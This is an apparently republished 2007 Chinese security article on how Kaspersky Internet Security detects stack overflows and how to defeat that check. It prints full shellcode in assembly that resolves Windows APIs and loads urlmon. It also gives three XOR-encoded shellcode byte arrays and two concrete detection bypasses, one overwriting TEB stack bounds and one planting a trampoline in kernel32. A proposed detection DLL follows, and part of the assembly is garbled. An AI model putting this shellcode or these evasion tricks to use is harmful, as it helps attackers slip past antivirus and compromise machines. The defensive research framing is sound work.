KIS7：现有的栈溢出检测模式的改进:天天聚看点

(相关资料图)

Author:gyzyEmail:gyzy@msn.comHomepage:[url]http://www.gyzy.org[/url]Date:2007-08-08带图片的PDF版本及随文工程可在 [url]http://www.gyzy.org/down/finger.rar[/url] 下载一. 现有的检测栈溢出的模式二. 现有检测体系存在的不足三. 针对引擎要做的改进四. 关于未来引言当前主动防御等的概念逐渐进入人们视野，国外主流的杀毒软件都有栈溢出的检测模块，尽管相对传统的***和病毒来说，缓冲区溢出仍占***的很小一部分，但是基于传统的“木桶理论”，安全是一个整体，威胁还是无处不在。现有的栈溢出检测模式整篇文章我都以Kaspersky Internet Security(KIS 6)作为例子，KIS7中这一部分并无大的改进。以下是测试用的Shellcode：__asm{/* --------------------解码开始---------------------- */jmp decode_enddecode_start:pop edx // 得到解码开始位置 esp -> edxdec edxxor ecx,ecxmov cx,0x13D // 要解码的长度decode_loop:xor byte ptr [edx+ecx], 0x99loop decode_loopjmp decode_okdecode_end:call decode_startdecode_ok:/*--------------------解码结束---------------------- */jmp endstart:pop edx // 指令表起始地址存放在 esp -> edx// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====//// 输入:// edx => 指令表起始地址 (不需要)//// 输出:// eax => kernel32.dll起始地址// edx => 指令表起始地址mov eax, fs:0x30 // PEBmov eax, [eax + 0x0c] // PROCESS_MODULE_INFOmov esi, [eax + 0x1c] // InInitOrder.flinklodsdmov eax,[eax+8]// ========== 定位GetProcAddress的地址 ==========//// 输入:// eax => kernel32.dll起始地址// edx => 指令表起始地址//// 输出:// ebx => kernel32.dll起始地址// eax => GetProcAddress地址// edx => 指令表起始地址mov ebx,eax // 取kernel32.dll的起始地址 DLL Base Addressmov esi,dword ptr [ebx+3Ch] // esi = PE header offsetmov esi,dword ptr [esi+ebx+78h]add esi,ebx // esi = exports directory tablemov edi,dword ptr [esi+20h] add edi,ebx // edi = name pointers tablemov ecx,dword ptr [esi+14h] // ecx = number of name pointersxor ebp,ebp push esisearch_GetProcAddress:push edipush ecxmov edi,dword ptr [edi]add edi,ebx // 把输出函数名表起始地址存人edimov esi,edx // 指令表起始地址存入esi//mov ecx,0Eh // 函数getprocAddress长度为0Ehpush 0xEpop ecxrepe cmps byte ptr [esi],byte ptr [edi]je search_GetProcAddress_okpop ecxpop ediadd edi,4inc ebploop search_GetProcAddresssearch_GetProcAddress_ok:pop ecxpop edipop esimov ecx,ebpmov eax,dword ptr [esi+0x24]add eax,ebxshl ecx,1add eax,ecxxor ecx,ecxmov cx,word ptr [eax]mov eax,dword ptr [esi+0x1C]add eax,ebxshl ecx,2add eax,ecxmov eax,dword ptr [eax]add eax,ebx// ============ 调用函数解决api地址 ============//// 输入:// ebx =>kernel32.dll起始地址// eax =>GetProcAddress地址// edx =>指令表起始地址//// 输出:// edi =>函数地址base addr// esi =>指令表当前位置// edx =>GetProcAddress 地址mov edi,edxmov esi,ediadd esi,0xE // 0xE 跳过1个字符串"GetProcAddress"32177368// ============ 解决kernel32.dll中的函数地址 ============mov edx,eax // 把GetProcAddress 地址存放在edx//mov ecx,0x5 // 需要解决的函数地址的个数push 0x2pop ecxcall locator_api_addr// ============ 加载user32.dll ============add esi,0xd // 硬编码可以节省两个字节push edx // edx是GetProcAddress 地址push esi // 字符"urlmon"地址//mov dword ptr fs:[4],0x0012FFFF//mov dword ptr fs:[8],0x0012FFFFcall dword ptr [edi-4] // LoadLibraryA// ============ 解决函数地址 ============pop edxmov ebx,eax // 将urlmon.dll起始地址存放在ebx//mov ecx,1 // 函数个数push 0x1pop ecx // 函数个数 <-这种方式省两个字节call 1="" sub="" 0x20mov="" mov="" dword="" ptr="" 0x797a7967="" 0x00000000="" push="" 0push="" ebxpush="" 0call="" exitprocesspush="" eaxcall="" ecx="" edx="" getprocaddress="" ebx="" esi="" edi="" locator_api_addr:locator_space:xor="" eaxlodsbtest="" eax="" x00jne="" locator_spacepush="" ecxpush="" edxpush="" 0x0012ffffcall="" edxpop="" ecxstos="" loop="" locator_spacexor="" end:call="" buffer="" 7c883fec=""> 55 PUSH EBP7C883FED 8BEC MOV EBP,ESP7C883FEF 90 NOP7C883FF0 5D POP EBP7C883FF1 - E9 997EFF75 JMP F287BE8F7C883FF6 90 NOP7C883FF7 90 NOP很明显GetProcAddress被Hook了，LoadLibrary系列函数也是一样，那么究竟卡巴是如何检测栈溢出的产生的呢，再看它的驱动：lkd> u f287BE8Ff287be8f 8b442404 mov eax,dword ptr [esp+4]f287be93 56 push esif287be94 8b74240c mov esi,dword ptr [esp+0Ch]f287be98 6a00 push 0f287be9a 56 push esif287be9b 6880be87f2 push 0F287BE80hf287bea0 8d4c2414 lea ecx,[esp+14h]f287bea4 50 push eaxlkd> uf287bea5 51 push ecxf287bea6 e8f5f3ffff call f287b2a0f287beab 84c0 test al,alf287bead 7410 je f287bebff287beaf 6a05 push 5f287beb1 33f6 xor esi,esif287beb3 ff159cc087f2 call dword ptr ds:[0F287C09Ch]f287beb9 8bc6 mov eax,esilkd> uf287bebb 5e pop esif287bebc c20800 ret 8f287bebf 688fbe87f2 push 0F287BE8Fhf287bec4 e807f6ffff call f287b4d0f287bec9 8d1440 lea edx,[eax+eax*2]f287becc 56 push esif287becd 8b44240c mov eax,dword ptr [esp+0Ch]f287bed1 50 push eaxlkd> u f287b2a0f287b2a0 8b442408 mov eax,dword ptr [esp+8]f287b2a4 8b542404 mov edx,dword ptr [esp+4]f287b2a8 56 push esif287b2a9 8d4c240c lea ecx,[esp+0Ch]f287b2ad 50 push eaxf287b2ae 51 push ecxf287b2af 52 push edxf287b2b0 e8fbfdffff call f287b0b0lkd> u f287b0b0f287b0b0 55 push ebpf287b0b1 8bec mov ebp,espf287b0b3 83ec24 sub esp,24hf287b0b6 64a104000000 mov eax,dword ptr fs:[00000004h]f287b0bc 8945f8 mov dword ptr [ebp-8],eaxf287b0bf 64a108000000 mov eax,dword ptr fs:[00000008h]f287b0c5 8945fc mov dword ptr [ebp-4],eaxf287b0c8 8b4508 mov eax,dword ptr [ebp+8]lkd> uf287b0cb 8b4d0c mov ecx,dword ptr [ebp+0Ch]f287b0ce 8b50fc mov edx,dword ptr [eax-4]f287b0d1 8b45fc mov eax,dword ptr [ebp-4]f287b0d4 3bd0 cmp edx,eaxf287b0d6 8911 mov dword ptr [ecx],edxf287b0d8 7210 jb f287b0eaf287b0da 3b55f8 cmp edx,dword ptr [ebp-8]f287b0dd 730b jae f287b0ealkd> uf287b0df b8e7030000 mov eax,3E7hf287b0e4 8be5 mov esp,ebpf287b0e6 5d pop ebpf287b0e7 c20c00 ret 0Chf287b0ea 8b4510 mov eax,dword ptr [ebp+10h]f287b0ed 3d00000068 cmp eax,68000000hf287b0f2 0f829e000000 jb f287b196f287b0f8 3d00000065 cmp eax,65000000h其中f287b0d4处的几条比较指令可能就是判断溢出与否的关键，上面有两条指令也特别值得注意：mov eax,dword ptr fs:[00000004h]mov eax,dword ptr fs:[00000008h]以下是TEB的数据结构：typedef struct _TEB { // Size: 0xF88/*000*/ NT_TIB NtTib;/*01C*/ VOID *EnvironmentPointer;/*020*/ CLIENT_ID ClientId; // PROCESS id, THREAD id/*028*/ HANDLE ActiveRpcHandle;/*02C*/ VOID *ThreadLocalStoragePointer;/*030*/ PEB *ProcessEnvironmentBlock; // PEB/*034*/ ULONG LastErrorValue;/*038*/ ULONG CountOfOwnedCriticalSections;/*03C*/ ULONG CsrClientThread;/*040*/ ULONG Win32ThreadInfo;/*044*/ UCHAR Win32ClientInfo[0x7C];/*0C0*/ ULONG WOW32Reserved;/*0C4*/ ULONG CurrentLocale;/*0C8*/ ULONG FpSoftwareStatusRegister;/*0CC*/ UCHAR SystemReserved1[0xD8]; // ExitStack ???/*1A4*/ ULONG Spare1;/*1A8*/ ULONG ExceptionCode;/*1AC*/ UCHAR SpareBytes1[0x28];/*1D4*/ UCHAR SystemReserved2[0x28];/*1FC*/ UCHAR GdiTebBatch[0x4E0];/*6DC*/ ULONG gdiRgn;/*6E0*/ ULONG gdiPen;/*6E4*/ ULONG gdiBrush;/*6E8*/ CLIENT_ID RealClientId;/*6F0*/ ULONG GdiCachedProcessHandle;/*6F4*/ ULONG GdiClientPID;/*6F8*/ ULONG GdiClientTID;/*6FC*/ ULONG GdiThreadLocalInfo;/*700*/ UCHAR UserReserved[0x14];/*714*/ UCHAR glDispatchTable[0x460];/*B74*/ UCHAR glReserved1[0x68];/*BDC*/ ULONG glReserved2;/*BE0*/ ULONG glSectionInfo;/*BE4*/ ULONG glSection;/*BE8*/ ULONG glTable;/*BEC*/ ULONG glCurrentRC;/*BF0*/ ULONG glContext;/*BF4*/ ULONG LastStatusValue;/*BF8*/ LARGE_INTEGER StaticUnicodeString;/*C00*/ UCHAR StaticUnicodeBuffer[0x20C];/*E0C*/ ULONG DeallocationStack;/*E10*/ UCHAR TlsSlots[0x100];/*F10*/ LARGE_INTEGER TlsLinks;/*F18*/ ULONG Vdm;/*F1C*/ ULONG ReservedForNtRpc;/*F20*/ LARGE_INTEGER Dbg***eserved;/*F28*/ ULONG HardErrorsAreDisabled;/*F2C*/ UCHAR Instrumentation[0x40];/*F6C*/ ULONG WinSockData;/*F70*/ ULONG GdiBatchCount;/*F74*/ ULONG Spare2;/*F78*/ ULONG Spare3;/*F7C*/ ULONG Spare4;/*F80*/ ULONG ReservedForOle;/*F84*/ ULONG WaitingOnLoaderLock;} TEB, *PTEB;typedef struct _NT_TIB {struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // 00h Head of exception// record listPVOID StackBase; // 04hPVOID StackLimit; // 08hPVOID SubSystemTib; // 0Chunion { // 10hPVOID FiberData; // for TIBULONG Version; // for TEB};PVOID ArbitraryUserPointer; // 14h Available// for application usestruct _NT_TIB *Self; // 18h Linear address// of TEB structure} NT_TIB;typedef NT_TIB *PNT_TIB;Fs:[4]和Fs:[8]分别是当前线程的栈基址和栈顶，现在思路就比较明朗了，卡巴就是通过检测GetProcAddress等关键API的返回地址是否处于栈中来判定栈溢出的发生。现有检测模式的不足既然知道了他的检测模式，那么突破就是轻而易举的事了，有两种思路：修改TEB中Fs:[4]和Fs:[8]的值来使卡巴认为返回地址不在栈中.就是上面Shellcode中在call之前注释掉的部分mov dword ptr fs:[4],0x0012FFFF和mov dword ptr fs:[8],0x0012FFFF。在测试的时候发现使用这一方法能使GetProcAddress绕过卡巴的检测，但是LoadLibrary系列却不行，百思不得其解，若有高人知道，请指教（可能TEB跟线程有关，LoadLibrary涉及到多线程方面的一些问题）。第二种方法就是在内存中找一个相对固定又可写可执行的地址写入push 返回地址 ret这样一系列的指令，然后再将函数返回地址指向其来绕过卡巴的检测。具体的实现如下：在原来调用API的地方，如call dword ptr [edi-4] // LoadLibraryA使用如下方法来代替: mov edx,dword ptr [edi-4] // LoadLibraryAcall gcall其中gcall代码如下：// ============ 绕过缓冲区溢出检查的call ============//// 输入参数:// edx 函数地址// 0x7C884000gcall:pop eax //将真正的返回地址保存到eaxmov ecx,0x7C884000push ecxmov byte ptr [ecx],0x68 //push指令mov dword ptr [ecx+1],eax //写入地址mov byte ptr [ecx+5],0xC3 //写入ret指令jmp edx //执行真正的函数0x7C884000是Kernel32数据段的地址，当然，可以用其它等价的地址替换。再次运行shellcode，卡巴没有任何反应，如图2：针对性的改进在卡巴现有的检测中还是有一个Bug，就是TEB中的栈基址和栈顶数据是不可信的，应当在初始化时保存，而不应每次都去重新获取，当然这种检测机制本身就是不可靠的，需要改进，这就是本文要提出的基于栈指纹检测缓冲区溢出，说白了就是利用特征码+API Hook来更可靠的检测栈溢出的发生，防止迂回绕过我们的检测，因为有一点是肯定的：栈溢出发生时Shellcode是在栈中的，这个想法也是借鉴自反病毒的概念。微软公司在VC7开始提供了一个/GS编译选项来防止栈溢出带来的危害，但是事实证明还是能被绕过，例如：覆盖SEH。笔者认为安全产品做的越前端就越不容易被绕过，比如拦截Shellcode的行为肯定要比拦截溢出的发生有效的多。笔者利用Detour库做了一个检测的模型，代码如下：// dll.cpp : 定义 DLL 应用程序的入口点。//#include#include "detours.h"#includeDETOUR_TRAMPOLINE(HMODULE WINAPI fLoadLibraryA(LPCTSTR lpFileName),LoadLibraryA);HMODULE WINAPI MyLoadLibraryA(LPCTSTR lpFileName){DWORD stackbase,stacklimit,retaddr;__asm{mov eax,dword ptr [esp+0x1c]mov retaddr,eaxmov eax,dword ptr fs:[4]mov stackbase,eaxmov eax,dword ptr fs:[8]mov stacklimit,eax}if ( retaddr < stacklimit && retaddr > stackbase ){overflow:MessageBox(0,"BufferOverflow Detected!","gyzy",MB_ICONINFORMATION);return NULL;}//0x64 0xA1 0x30 0x00 0x00 0x00__asm{push 0x100pop ecxmov esi,espcompare:cmp dword ptr [esi],0x0030A164 //检测mov eax,fs:[30]je overflowinc esiloop compare}return fLoadLibraryA(lpFileName);}BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:DetourFunctionWithTrampoline((PBYTE)fLoadLibraryA,(PBYTE)MyLoadLibraryA);break;case DLL_PROCESS_DETACH:DetourRemove((PBYTE)fLoadLibraryA,(PBYTE)MyLoadLibraryA);break;}return TRUE;}这儿只是为了达到演示的目的只挂接了LoadLibraryA，并且配合了卡巴的检测方法，目的是提高检测的效率。这使用的指纹就是mov eax,fs:[30]，几乎每个Shellcode都会用到来获取Kernel32的基址，当然如果要成为一个商业产品，那无疑需要降低误报的几率,那就需要更可靠的特征码。#includeunsigned char shellcode[] ="\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x21\x01\x80\x34\x0A\x99\xE2\xFA""\xEB\x05\xE8\xEB\xFF\xFF\xFF""\x70\x45\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12""\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A""\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6""\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D""\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A""\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58""\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9B\xC0""\x71\xD8\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x12\xCE\x65\x71\xD5\x99""\x99\x99\xC3\x12\x41\xF3\x98\xC0\x71\xB0\x99\x99\x99\x1A\x75\xB9""\x12\x45\x5E\x9A\xFE\xE0\xE3\xE0\x5E\xDA\x9D\x99\x99\x99\x99\xF3""\x99\xCA\xCA\xF3\x99\x12\xCE\x65\x71\xB8\x99\x99\x99\xC9\x12\xCE""\x6D\x71\x81\x99\x99\x99\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF""\xCA\x71\x91\x99\x99\x99\xC3\xC0\x32\x7B\x72\xAA\x59\x5A\xC1\x20""\x99\xD9\x11\xE5\xC8\x5F\x98\xF1\x10\xD8\x98\x5F\xD8\x9C\x5A\x66""\x7B\x71\x86\x66\x66\x66""\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDC""\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5""\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEC\xEA\xFC\xEB\xAA\xAB\x99\xD4""\xFC\xEA\xEA\xF8\xFE\xFC\xDB\xF6\xE1\xD8\x99";unsigned char sh2llcode[] ="\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x28\x01\x80\x34\x0A\x99\xE2\xFA""\xEB\x05\xE8\xEB\xFF\xFF\xFF""\x70\x7A\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12""\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A""\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6""\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D""\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A""\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58""\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9B\xC0""\x71\xD1\x99\x99\x99\x1A\x5F\x94\xCB\xCF\xFD\x5E\x9C\x9D\x99\x99""\x99\x66\x66\x8B\x99\xFD\x5E\x9C\x91\x99\x99\x99\x66\x66\x8B\x99""\x66\xCE\x65\xC3\x12\x41\xF3\x98\xC0\x71\x86\x99\x99\x99\x1A\x75""\xB9\x12\x45\x5E\x9A\xFE\xE0\xE3\xE0\x5E\xDA\x9D\x99\x99\x99\x99""\xF3\x99\xCA\xCA\xF3\x99\x66\xCE\x65\xC9\x66\xCE\x6D\xAA\x59\x35""\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\xFD\x5E\x9C\x9D\x99\x99\x99\x66""\x66\x8B\x99\xFD\x5E\x9C\x91\x99\x99\x99\x66\x66\x8B\x99\x66\x4B""\xC3\xC0\x32\x7B\x41\xAA\x59\x5A\x71\x81\x66\x66\x66""\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDC""\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5""\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEC\xEA\xFC\xEB\xAA\xAB\x99\xD4""\xFC\xEA\xEA\xF8\xFE\xFC\xDB\xF6\xE1\xD8\x99";unsigned char sh3llcode[] ="\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\xFC\x00\x80\x34\x0A\x99\xE2\xFA""\xEB\x05\xE8\xEB\xFF\xFF\xFF""\x70\x2E\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12""\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A""\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6""\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D""\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A""\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58""\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9B\xC0""\x71\xAB\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41""\xF3\x98\xC0\x71\x86\x99\x99\x99\x1A\x75\xB9\x12\x45\x5E\x9A\xFE""\xE0\xE3\xE0\x5E\xDA\x9D\x99\x99\x99\x99\xF3\x99\xCA\xCA\xF3\x99""\x66\xCE\x65\xC9\x66\xCE\x6D\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB""\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\xDD\x66\x66""\x66""\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDC""\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5""\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEC\xEA\xFC\xEB\xAA\xAB\x99\xD4""\xFC\xEA\xEA\xF8\xFE\xFC\xDB\xF6\xE1\xD8\x99";int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow){ //加载溢出防护dllLoadLibrary("AntiOverflow.dll");char sc[512];ZeroMemory(sc,512);memcpy(sc,(char*)shellcode,512);__asm{lea eax,scjmp eax}return 0;}第一个Shellcode是能绕过卡巴检测的，第二个是修改了TEB中栈基址和栈顶值的Shellcode，卡巴会报一次，第三个是原始的Shellcode，卡巴会报5次。在加载了上述的溢出防护dll之后，3次测试都准确的拦截了，如图3关于未来从效率的角度来看，Ring0下的Hook显然要比Ring3下高，因为挂接了大量此类函数会使系统的效率明显下降，以及代码的效率问题，都是需要提高的。另外就是指纹的选择，可以借鉴杀毒软件中复合特征码的思路来做。历来对于堆溢出的检测一直没有好的思路，或许指纹检测也是一个权宜之计。错误或纰漏在所难免，在此还恳请大家指正。